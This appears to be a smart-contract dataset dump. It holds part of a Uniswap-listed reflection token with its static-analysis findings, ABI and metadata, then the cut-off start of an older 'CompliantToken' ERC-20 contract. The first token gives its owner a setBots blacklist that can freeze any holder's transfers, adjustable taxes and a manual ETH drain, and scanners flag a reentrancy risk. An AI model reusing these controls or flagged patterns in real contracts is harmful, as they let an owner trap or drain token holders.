_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 50_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 50_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | [] | [{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"shiboytoken.sol": [90]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"shiboytoken.sol": [347, 348, 349, 350]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"shiboytoken.sol": [317, 318, 319]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"shiboytoken.sol": [108, 109, 110, 111]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"shiboytoken.sol": [311, 312, 313, 314, 315]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"shiboytoken.sol": [185, 186, 187]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"shiboytoken.sol": [208, 205, 206, 207]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"shiboytoken.sol": [210, 211, 212]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"shiboytoken.sol": [197, 198, 199]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"shiboytoken.sol": [219, 220, 221, 222, 223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"shiboytoken.sol": [193, 194, 195]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"shiboytoken.sol": [216, 217, 214, 215]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"shiboytoken.sol": [189, 190, 191]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"shiboytoken.sol": [352, 353, 354, 355]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"shiboytoken.sol": [99, 100, 101]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"shiboytoken.sol": [99, 100, 101]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"shiboytoken.sol": [399]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"shiboytoken.sol": [387]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"shiboytoken.sol": [393]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"shiboytoken.sol": [157]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"shiboytoken.sol": [139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"shiboytoken.sol": [159]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"shiboytoken.sol": [158]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"shiboytoken.sol": [128]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"shiboytoken.sol": [147]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"shiboytoken.sol": [385, 386, 387, 388, 389]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"shiboytoken.sol": [391, 392, 393, 394, 395]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"shiboytoken.sol": [238]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"shiboytoken.sol": [342]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"shiboytoken.sol": [306]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"shiboytoken.sol": [341]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"shiboytoken.sol": [271]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"shiboytoken.sol": [221]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"shiboytoken.sol": [221]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"shiboytoken.sol": [271]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"shiboytoken.sol": [368]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"shiboytoken.sol": [368]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"shiboytoken.sol": [359]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"shiboytoken.sol": [326]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"shiboytoken.sol": [359]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"shiboytoken.sol": [368]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"shiboytoken.sol": [326]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"shiboytoken.sol": [326]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"shiboytoken.sol": [359]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"shiboytoken.sol": [307]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"shiboytoken.sol": [302]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"shiboytoken.sol": [139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"shiboytoken.sol": [139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 175, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 294, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 110, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 214, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 312, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 312, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 311, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 32, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 89, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 90, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 141, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 142, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 143, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 144, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 145, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 146, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 147, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 148, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 149, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 151, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 152, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 153, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 154, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 155, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 157, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 158, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 159, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 161, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 162, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 163, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 164, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 165, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 166, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 167, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 140, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 136, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 93, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 120, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 174, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 123, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 124, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 125, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 147, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 345, "severity": 1}] | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"_setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"sellTax","type":"uint256"}],"name":"_setSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buyTax","type":"uint256"}],"name":"setBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setremoveMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.4+commit.c7e474f2 | true | 200 | Default | GNU GPLv2 | false | ipfs://cf4699941b574923876ff01caefad2e47df8d4297d64e114eed6ba50d327f2a5 |
|||
CompliantToken | 0x7b28dd49d43a31da1d28ae0b9f0b7dbd8e8d8885 | Solidity | pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor(address _owner) public {
owner = _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
